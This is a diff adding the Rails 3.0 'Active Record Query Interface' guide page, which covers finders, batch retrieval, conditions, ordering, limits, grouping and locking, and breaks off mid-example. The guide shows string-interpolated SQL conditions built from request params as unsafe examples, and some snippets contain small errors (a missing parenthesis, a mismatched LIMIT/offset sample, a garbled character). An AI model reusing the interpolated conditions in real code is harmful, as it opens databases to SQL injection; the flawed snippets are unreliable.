+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Active Record Query Interface</h2>
+<p>This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:</p>
+<ul>
+	<li>Find records using a variety of methods and conditions</li>
+	<li>Specify the order, retrieved attributes, grouping, and other properties of the found records</li>
+	<li>Use eager loading to reduce the number of database queries needed for data retrieval</li>
+	<li>Use dynamic finders methods</li>
+	<li>Check for the existence of particular records</li>
+	<li>Perform various calculations on Active Record models</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#retrieving-objects-from-the-database">Retrieving Objects from the Database</a><ul><li><a href="#retrieving-a-single-object">Retrieving a Single Object</a></li> <li><a href="#retrieving-multiple-objects">Retrieving Multiple Objects</a></li> <li><a href="#retrieving-multiple-objects-in-batches">Retrieving Multiple Objects in Batches</a></li></ul></li><li><a href="#conditions">Conditions</a><ul><li><a href="#pure-string-conditions">Pure String Conditions</a></li> <li><a href="#array-conditions">Array Conditions</a></li> <li><a href="#hash-conditions">Hash Conditions</a></li> <li><a href="#ordering">Ordering</a></li> <li><a href="#selecting-specific-fields">Selecting Specific Fields</a></li> <li><a href="#limit-and-offset">Limit and Offset</a></li> <li><a href="#group">Group</a></li> <li><a href="#having">Having</a></li> <li><a href="#readonly-objects">Readonly Objects</a></li> <li><a href="#locking-records-for-update">Locking Records for Update</a></li></ul></li><li><a href="#joining-tables">Joining Tables</a><ul><li><a href="#using-a-string-sql-fragment">Using a String <span class="caps">SQL</span> Fragment</a></li> <li><a href="#using-array-hash-of-named-associations">Using Array/Hash of Named Associations</a></li> <li><a href="#specifying-conditions-on-the-joined-tables">Specifying Conditions on the Joined Tables</a></li></ul></li><li><a href="#eager-loading-associations">Eager Loading Associations</a><ul><li><a href="#eager-loading-multiple-associations">Eager Loading Multiple Associations</a></li> <li><a href="#specifying-conditions-on-eager-loaded-associations">Specifying Conditions on Eager Loaded Associations</a></li></ul></li><li><a href="#dynamic-finders">Dynamic Finders</a></li><li><a href="#finding-by-sql">Finding by <span class="caps">SQL</span></a></li><li><a href="#select_all"><tt>select_all</tt></a></li><li><a href="#existence-of-objects">Existence of Objects</a></li><li><a href="#calculations">Calculations</a><ul><li><a href="#count">Count</a></li> <li><a href="#average">Average</a></li> <li><a href="#minimum">Minimum</a></li> <li><a href="#maximum">Maximum</a></li> <li><a href="#sum">Sum</a></li></ul></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <div class='warning'><p>This Guide is based on Rails 3.0. Some of the code shown here will not work in other versions of Rails.</p></div>
+<p>If you&#8217;re used to using raw <span class="caps">SQL</span> to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use <span class="caps">SQL</span> in most cases.</p>
+<p>Code examples throughout this guide will refer to one or more of the following models:</p>
+<div class='info'><p>All of the following models use <tt>id</tt> as the primary key, unless specified otherwise.</p></div>
+<p><br /></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Client &lt; ActiveRecord::Base
+  has_one :address
+  has_many :orders
+  has_and_belongs_to_many :roles
+end
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Address &lt; ActiveRecord::Base
+  belongs_to :client
+end
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  belongs_to :client, :counter_cache =&gt; true
+end
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Role &lt; ActiveRecord::Base
+  has_and_belongs_to_many :clients
+end
+</pre>
+</div>
+</notextile>
+
+<p>Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you&#8217;re using, the Active Record method format will always be the same.</p>
+<h3 id="retrieving-objects-from-the-database">1 Retrieving Objects from the Database</h3>
+<p>To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw <span class="caps">SQL</span>.</p>
+<p>The methods are:</p>
+<ul>
+	<li><tt>where</tt></li>
+	<li><tt>select</tt></li>
+	<li><tt>group</tt></li>
+	<li><tt>order</tt></li>
+	<li><tt>limit</tt></li>
+	<li><tt>offset</tt></li>
+	<li><tt>joins</tt></li>
+	<li><tt>includes</tt></li>
+	<li><tt>lock</tt></li>
+	<li><tt>readonly</tt></li>
+	<li><tt>from</tt></li>
+</ul>
+<p>All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>.</p>
+<p>Primary operation of <tt>Model.find(options)</tt> can be summarized as:</p>
+<ul>
+	<li>Convert the supplied options to an equivalent <span class="caps">SQL</span> query.</li>
+	<li>Fire the <span class="caps">SQL</span> query and retrieve the corresponding results from the database.</li>
+	<li>Instantiate the equivalent Ruby object of the appropriate model for every resulting row.</li>
+	<li>Run <tt>after_find</tt> callbacks if any.</li>
+</ul>
+<h4 id="retrieving-a-single-object">1.1 Retrieving a Single Object</h4>
+<p>Active Record lets you retrieve a single object using three different ways.</p>
+<h5 id="using-a-primary-key">1.1.1 Using a Primary Key</h5>
+<p>Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the supplied <em>primary key</em> and matching the supplied options (if any). For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Find the client with primary key (id) 10.
+client = Client.find(10)
+=&gt; #&lt;Client id: 10, first_name: =&gt; &quot;Ryan&quot;&gt;
+</pre>
+</div>
+</notextile>
+
+<p><span class="caps">SQL</span> equivalent of the above is:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM clients WHERE (clients.id = 10)
+</pre>
+</div>
+</notextile>
+
+<p><tt>Model.find(primary_key)</tt> will raise an <tt>ActiveRecord::RecordNotFound</tt> exception if no matching record is found.</p>
+<h5 id="first">1.1.2 <tt>first</tt></h5>
+<p><tt>Model.first</tt> finds the first record matched by the supplied options. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+client = Client.first
+=&gt; #&lt;Client id: 1, first_name: =&gt; &quot;Lifo&quot;&gt;
+</pre>
+</div>
+</notextile>
+
+<p><span class="caps">SQL</span> equivalent of the above is:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM clients LIMIT 1
+</pre>
+</div>
+</notextile>
+
+<p><tt>Model.first</tt> returns <tt>nil</tt> if no matching record is found. No exception will be raised.</p>
+<h5 id="last">1.1.3 <tt>last</tt></h5>
+<p><tt>Model.last</tt> finds the last record matched by the supplied options. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+client = Client.last
+=&gt; #&lt;Client id: 221, first_name: =&gt; &quot;Russel&quot;&gt;
+</pre>
+</div>
+</notextile>
+
+<p><span class="caps">SQL</span> equivalent of the above is:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+</pre>
+</div>
+</notextile>
+
+<p><tt>Model.last</tt> returns <tt>nil</tt> if no matching record is found. No exception will be raised.</p>
+<h4 id="retrieving-multiple-objects">1.2 Retrieving Multiple Objects</h4>
+<h5 id="using-multiple-primary-keys">1.2.1 Using Multiple Primary Keys</h5>
+<p><tt>Model.find(array_of_primary_key)</tt> also accepts an array of <em>primary keys</em>. An array of all the matching records for the supplied <em>primary keys</em> is returned. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Find the clients with primary keys 1 and 10.
+client = Client.find(1, 10) # Or even Client.find([1, 10])
+=&gt; [#&lt;Client id: 1, first_name: =&gt; &quot;Lifo&quot;&gt;, #&lt;Client id: 10, first_name: =&gt; &quot;Ryan&quot;&gt;]
+</pre>
+</div>
+</notextile>
+
+<p><span class="caps">SQL</span> equivalent of the above is:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM clients WHERE (clients.id IN (1,10))
+</pre>
+</div>
+</notextile>
+
+<p><tt>Model.find(array_of_primary_key)</tt> will raise an <tt>ActiveRecord::RecordNotFound</tt> exception unless a matching record is found for <strong>all</strong> of the supplied primary keys.</p>
+<h4 id="retrieving-multiple-objects-in-batches">1.3 Retrieving Multiple Objects in Batches</h4>
+<p>Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc.</p>
+<p>The following may seem very straight forward at first:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Very inefficient when users table has thousands of rows.
+User.all.each do |user|
+  NewsLetter.weekly_deliver(user)
+end
+</pre>
+</div>
+</notextile>
+
+<p>But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible.</p>
+<p>This is because <tt>User.all.each</tt> makes Active Record fetch <em>the entire table</em>, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory.</p>
+<h5 id="find_each">1.3.1 <tt>find_each</tt></h5>
+<p>To efficiently iterate over a large table, Active Record provides a batch finder method called <tt>find_each</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+User.find_each do |user|
+  NewsLetter.weekly_deliver(user)
+end
+</pre>
+</div>
+</notextile>
+
+<p><strong>Configuring the batch size</strong></p>
+<p>Behind the scenes <tt>find_each</tt> fetches rows in batches of <tt>1000</tt> and yields them one by one. The size of the underlying batches is configurable via the <tt>:batch_size</tt> option.</p>
+<p>To fetch <tt>User</tt> records in batch size of <tt>5000</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+User.find_each(:batch_size =&gt; 5000) do |user|
+  NewsLetter.weekly_deliver(user)
+end
+</pre>
+</div>
+</notextile>
+
+<p><strong>Starting batch find from a specific primary key</strong></p>
+<p>Records are fetched in ascending order on the primary key, which must be an integer. The <tt>:start</tt> option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint.</p>
+<p>To send newsletters only to users with the primary key starting from <tt>2000</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+User.find_each(:batch_size =&gt; 5000, :start =&gt; 2000) do |user|
+  NewsLetter.weekly_deliver(user)
+end
+</pre>
+</div>
+</notextile>
+
+<p><strong>Additional options</strong></p>
+<p><tt>find_each</tt> accepts the same options as the regular <tt>find</tt> method. However, <tt>:order</tt> and <tt>:limit</tt> are needed internally and hence not allowed to be passed explicitly.</p>
+<h5 id="find_in_batches">1.3.2 <tt>find_in_batches</tt></h5>
+<p>You can also work by chunks instead of row by row using <tt>find_in_batches</tt>. This method is analogous to <tt>find_each</tt>, but it yields arrays of models instead:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Works in chunks of 1000 invoices at a time.
+Invoice.find_in_batches(:include =&gt; :invoice_lines) do |invoices|
+  export.add_invoices(invoices)
+end
+</pre>
+</div>
+</notextile>
+
+<p>The above will yield the supplied block with <tt>1000</tt> invoices every time.</p>
+<h3 id="conditions">2 Conditions</h3>
+<p>The <tt>find</tt> method allows you to specify conditions to limit the records returned, representing the <tt>WHERE</tt>-part of the <span class="caps">SQL</span> statement. Conditions can either be specified as a string, array, or hash.</p>
+<h4 id="pure-string-conditions">2.1 Pure String Conditions</h4>
+<p>If you&#8217;d like to add conditions to your find, you could just specify them in there, just like <tt>Client.where("orders_count = '2'")</tt>. This will find all clients where the <tt>orders_count</tt> field&#8217;s value is 2.</p>
+<div class='warning'><p>Building your own conditions as pure strings can leave you vulnerable to <span class="caps">SQL</span> injection exploits. For example, <tt>Client.where("first_name LIKE '%#{params[:first_name]}%'")</tt> is not safe. See the next section for the preferred way to handle conditions using an array.</p></div>
+<h4 id="array-conditions">2.2 Array Conditions</h4>
+<p>Now what if that number could vary, say as an argument from somewhere, or perhaps from the user&#8217;s level status somewhere? The find then becomes something like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(&quot;orders_count = ?&quot;, params[:orders])
+</pre>
+</div>
+</notextile>
+
+<p>Active Record will go through the first element in the conditions value and any additional elements will replace the question marks <tt>(?)</tt> in the first element.</p>
+<p>Or if you want to specify two conditions, you can do it like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(&quot;orders_count = ? AND locked = ?&quot;, params[:orders], false)
+</pre>
+</div>
+</notextile>
+
+<p>In this example, the first question mark will be replaced with the value in <tt>params[:orders]</tt> and the second will be replaced with the <span class="caps">SQL</span> representation of <tt>false</tt>, which depends on the adapter.</p>
+<p>The reason for doing code like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(&quot;orders_count = ?&quot;, params[:orders])
+</pre>
+</div>
+</notextile>
+
+<p>instead of:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(&quot;orders_count = #{params[:orders]}&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database <strong>as-is</strong>. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.</p>
+<div class='info'><p>For more information on the dangers of <span class="caps">SQL</span> injection, see the <a href="security.html#sql-injection">Ruby on Rails Security Guide</a>.</p></div>
+<h5 id="placeholder-conditions">2.2.1 Placeholder Conditions</h5>
+<p>Similar to the <tt>(?)</tt> replacement style of params, you can also specify keys/values hash in your array conditions:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(&quot;created_at &gt;= :start_date AND created_at &lt;= :end_date&quot;,
+  {:start_date =&gt; params[:start_date], :end_date =&gt; params[:end_date]})
+</pre>
+</div>
+</notextile>
+
+<p>This makes for clearer readability if you have a large number of variable conditions.</p>
+<h5 id="array-range_conditions">2.2.2 Range Conditions</h5>
+<p>If you&#8217;re looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the <tt>IN</tt> <span class="caps">SQL</span> statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(&quot;created_at IN (?)&quot;,
+  (params[:start_date].to_date)..(params[:end_date].to_date))
+</pre>
+</div>
+</notextile>
+
+<p>This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that&#8217;s 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM users WHERE (created_at IN
+  ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05',
+  '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11',
+  '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17',
+  '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',...
+  โ€˜2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20',
+  '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26',
+  '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31'))
+</pre>
+</div>
+</notextile>
+
+<h5 id="time-and-date-conditions">2.2.3 Time and Date Conditions</h5>
+<p>Things can get <strong>really</strong> messy if you pass in Time objects as it will attempt to compare your field to <strong>every second</strong> in that range:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(&quot;created_at IN (?)&quot;,
+  (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time))
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM users WHERE (created_at IN
+  ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ...
+  '2007-12-01 23:59:59', '2007-12-02 00:00:00'))
+</pre>
+</div>
+</notextile>
+
+<p>This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+Got a packet bigger than 'max_allowed_packet' bytes: _query_
+</pre>
+</div>
+</notextile>
+
+<p>Where <em>query</em> is the actual query used to get that error.</p>
+<p>In this example it would be better to use greater-than and less-than operators in <span class="caps">SQL</span>, like so:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(
+  &quot;created_at &gt; ? AND created_at &lt; ?&quot;, params[:start_date], params[:end_date])
+</pre>
+</div>
+</notextile>
+
+<p>You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(
+  &quot;created_at &gt;= ? AND created_at &lt;= ?&quot;, params[:start_date], params[:end_date])
+</pre>
+</div>
+</notextile>
+
+<p>Just like in Ruby. If you want a shorter syntax be sure to check out the <a href="#hash-conditions">Hash Conditions</a> section later on in the guide.</p>
+<h4 id="hash-conditions">2.3 Hash Conditions</h4>
+<p>Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:</p>
+<div class='note'><p>Only equality, range and subset checking are possible with Hash conditions.</p></div>
+<h5 id="equality-conditions">2.3.1 Equality Conditions</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(:locked =&gt; true)
+</pre>
+</div>
+</notextile>
+
+<p>The field name can also be a string:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where('locked' =&gt; true)
+</pre>
+</div>
+</notextile>
+
+<h5 id="hash-range_conditions">2.3.2 Range Conditions</h5>
+<p>The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(:created_at =&gt; (Time.now.midnight - 1.day)..Time.now.midnight)
+</pre>
+</div>
+</notextile>
+
+<p>This will find all clients created yesterday by using a <tt>BETWEEN</tt> <span class="caps">SQL</span> statement:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+</pre>
+</div>
+</notextile>
+
+<p>This demonstrates a shorter syntax for the examples in <a href="#array-conditions">Array Conditions</a></p>
+<h5 id="subset-conditions">2.3.3 Subset Conditions</h5>
+<p>If you want to find records using the <tt>IN</tt> expression you can pass an array to the conditions hash:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(:orders_count =&gt; [1,3,5])
+</pre>
+</div>
+</notextile>
+
+<p>This code will generate <span class="caps">SQL</span> like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+</pre>
+</div>
+</notextile>
+
+<h4 id="ordering">2.4 Ordering</h4>
+<p>To retrieve records from the database in a specific order, you can specify the <tt>:order</tt> option to the <tt>find</tt> call.</p>
+<p>For example, if you&#8217;re getting a set of records and want to order them in ascending order by the <tt>created_at</tt> field in your table:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.order(&quot;created_at&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>You could specify <tt>ASC</tt> or <tt>DESC</tt> as well:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.order(&quot;created_at DESC&quot;)
+# OR
+Client.order(&quot;created_at ASC&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>Or ordering by multiple fields:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.order(&quot;orders_count ASC, created_at DESC&quot;)
+</pre>
+</div>
+</notextile>
+
+<h4 id="selecting-specific-fields">2.5 Selecting Specific Fields</h4>
+<p>By default, <tt>Model.find</tt> selects all the fields from the result set using <tt>select *</tt>.</p>
+<p>To select only a subset of fields from the result set, you can specify the subset via the <tt>select</tt> method.</p>
+<div class='note'><p>If the <tt>select</tt> method is used, all the returning objects will be <a href="#readonly-objects">read only</a>.</p></div>
+<p><br /></p>
+<p>For example, to select only <tt>viewable_by</tt> and <tt>locked</tt> columns:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.select(&quot;viewable_by, locked&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>The <span class="caps">SQL</span> query used by this find call will be somewhat like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT viewable_by, locked FROM clients
+</pre>
+</div>
+</notextile>
+
+<p>Be careful because this also means you&#8217;re initializing a model object with only the fields that you&#8217;ve selected. If you attempt to access a field that is not in the initialized record you&#8217;ll receive:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+ActiveRecord::MissingAttributeError: missing attribute: &lt;attribute&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Where <tt>&lt;attribute&gt;</tt> is the attribute you asked for. The <tt>id</tt> method will not raise the <tt>ActiveRecord::MissingAttributeError</tt>, so just be careful when working with associations because they need the <tt>id</tt> method to function properly.</p>
+<p>You can also call <span class="caps">SQL</span> functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the <tt>DISTINCT</tt> function you can do it like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.select(&quot;DISTINCT(name)&quot;)
+</pre>
+</div>
+</notextile>
+
+<h4 id="limit-and-offset">2.6 Limit and Offset</h4>
+<p>To apply <tt>LIMIT</tt> to the <span class="caps">SQL</span> fired by the <tt>Model.find</tt>, you can specify the <tt>LIMIT</tt> using <tt>limit</tt> and <tt>offset</tt> methods on the relation.</p>
+<p>You can use <tt>limit</tt> to specify the number of records to be retrieved, and use <tt>offset</tt> to specify the number of records to skip before starting to return the records. For example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.limit(5)
+</pre>
+</div>
+</notextile>
+
+<p>will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The <span class="caps">SQL</span> it executes looks like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM clients LIMIT 5
+</pre>
+</div>
+</notextile>
+
+<p>Adding <tt>offset</tt> to that</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.limit(5).offset(30)
+</pre>
+</div>
+</notextile>
+
+<p>will return instead a maximum of 5 clients beginning with the 31st. The <span class="caps">SQL</span> looks like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM clients LIMIT 5, 30
+</pre>
+</div>
+</notextile>
+
+<h4 id="group">2.7 Group</h4>
+<p>To apply a <tt>GROUP BY</tt> clause to the <span class="caps">SQL</span> fired by the finder, you can specify the <tt>group</tt> method on the find.</p>
+<p>For example, if you want to find a collection of the dates orders were created on:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Order.group(&quot;date(created_at)&quot;).order(&quot;created_at&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>And this will give you a single <tt>Order</tt> object for each date where there are orders in the database.</p>
+<p>The <span class="caps">SQL</span> that would be executed would be something like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM orders GROUP BY date(created_at)
+</pre>
+</div>
+</notextile>
+
+<h4 id="having">2.8 Having</h4>
+<p><span class="caps">SQL</span> uses the <tt>HAVING</tt> clause to specify conditions on the <tt>GROUP BY</tt> fields. You can add the <tt>HAVING</tt> clause to the <span class="caps">SQL</span> fired by the <tt>Model.find</tt> by adding the <tt>:having</tt> option to the find.</p>
+<p>For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Order.group(&quot;date(created_at)&quot;.having(&quot;created_at &gt; ?&quot;, 1.month.ago)
+</pre>
+</div>
+</notextile>
+
+<p>The <span class="caps">SQL</span> that would be executed would be something like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM orders GROUP BY date(created_at) HAVING created_at &gt; '2009-01-15'
+</pre>
+</div>
+</notextile>
+
+<p>This will return single order objects for each day, but only for the last month.</p>
+<h4 id="readonly-objects">2.9 Readonly Objects</h4>
+<p>Active Record provides <tt>readonly</tt> method on a relation to explicitly disallow modification or deletion of any of the returned object. Any attempt to alter or destroy a readonly record will not succeed, raising an <tt>ActiveRecord::ReadOnlyRecord</tt> exception.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+client = Client.readonly.first
+client.visits += 1
+client.save
+</pre>
+</div>
+</notextile>
+
+<p>As <tt>client</tt> is explicitly set to be a readonly object, the above code will raise an <tt>ActiveRecord::ReadOnlyRecord</tt> exception when calling <tt>client.save</tt> with an updated value of <em>visists</em>.</p>
+<h4 id="locking-records-for-update">2.10 Locking Records for Update</h4>
+<p>Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.</p>
+<p>Active Record provides two locking mechanisms:</p>
+<ul>
+	<li>Optimistic Locking</li>
+	<li>Pessimistic Locking</li>
+</ul>
+<h5 id="optimistic-locking">2.10.1 Optimistic Locking</h5>
+<p>Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data.  It does this by checking whether another process has made changes to a record since it was opened. An <tt>ActiveRecord::StaleObjectError</tt> exception is thrown if that has occurred and the update is ignored.</p>
+<p><strong>Optimistic locking column</strong></p>
+<p>In order to use optimistic locking, the table needs to have a column called <tt>lock_version</tt>. Each time the record is updated, Active Record increments the <tt>lock_version</tt> column. If an update request is made with a lower value in the <tt>lock_version</tt> field than is currently in the <tt>lock_version</tt> column in the database, the update request will fail with an <tt>ActiveRecord::StaleObjectError</tt>. Example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+c1 = Client.find(1)
+c2 = Client.find(1)
+
+c1.first_name = &quot;Michael&quot;
+c1.save
+
+c2.name = &quot;should fail&quot;
+c2.save # Raises a ActiveRecord::StaleObjectError
+</pre>
+</div>
+</notextile>
+
+<p>You&#8217;re then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.</p>
+<div class='note'><p>You must ensure that your database schema defaults the <tt>lock_version</tt> column to <tt>0</tt>.</p></div>
+<p><br /></p>
+<p>This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.</p>
+<p>To override the name of the <tt>lock_version</tt> column, <tt>ActiveRecord::Base</tt> provides a class method called <tt>set_locking_column</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Client &lt; ActiveRecord::Base
+  set_locking_column :lock_client_column
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="pessimistic-locking">2.10.2 Pessimistic Locking</h5>
+<p>Pessimistic locking uses a locking mechanism provided by the underlying database. Using <tt>lock</tt> when building a relation obtains an exclusive lock on the selected rows. Relations using <tt>lock</tt> are usually wrapped inside a transaction for preventing deadlock conditions.</p>
+<p>For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Item.transaction do
+  i = Item.lock.first
+  i.name = 'Jones'
+  i.save
+end
+</pre>
+</div>
+</notextile>
+
+<p>The above session produces the following <span class="caps">SQL</span> for a MySQL backend:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SQL (0.2ms)   BEGIN
+Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
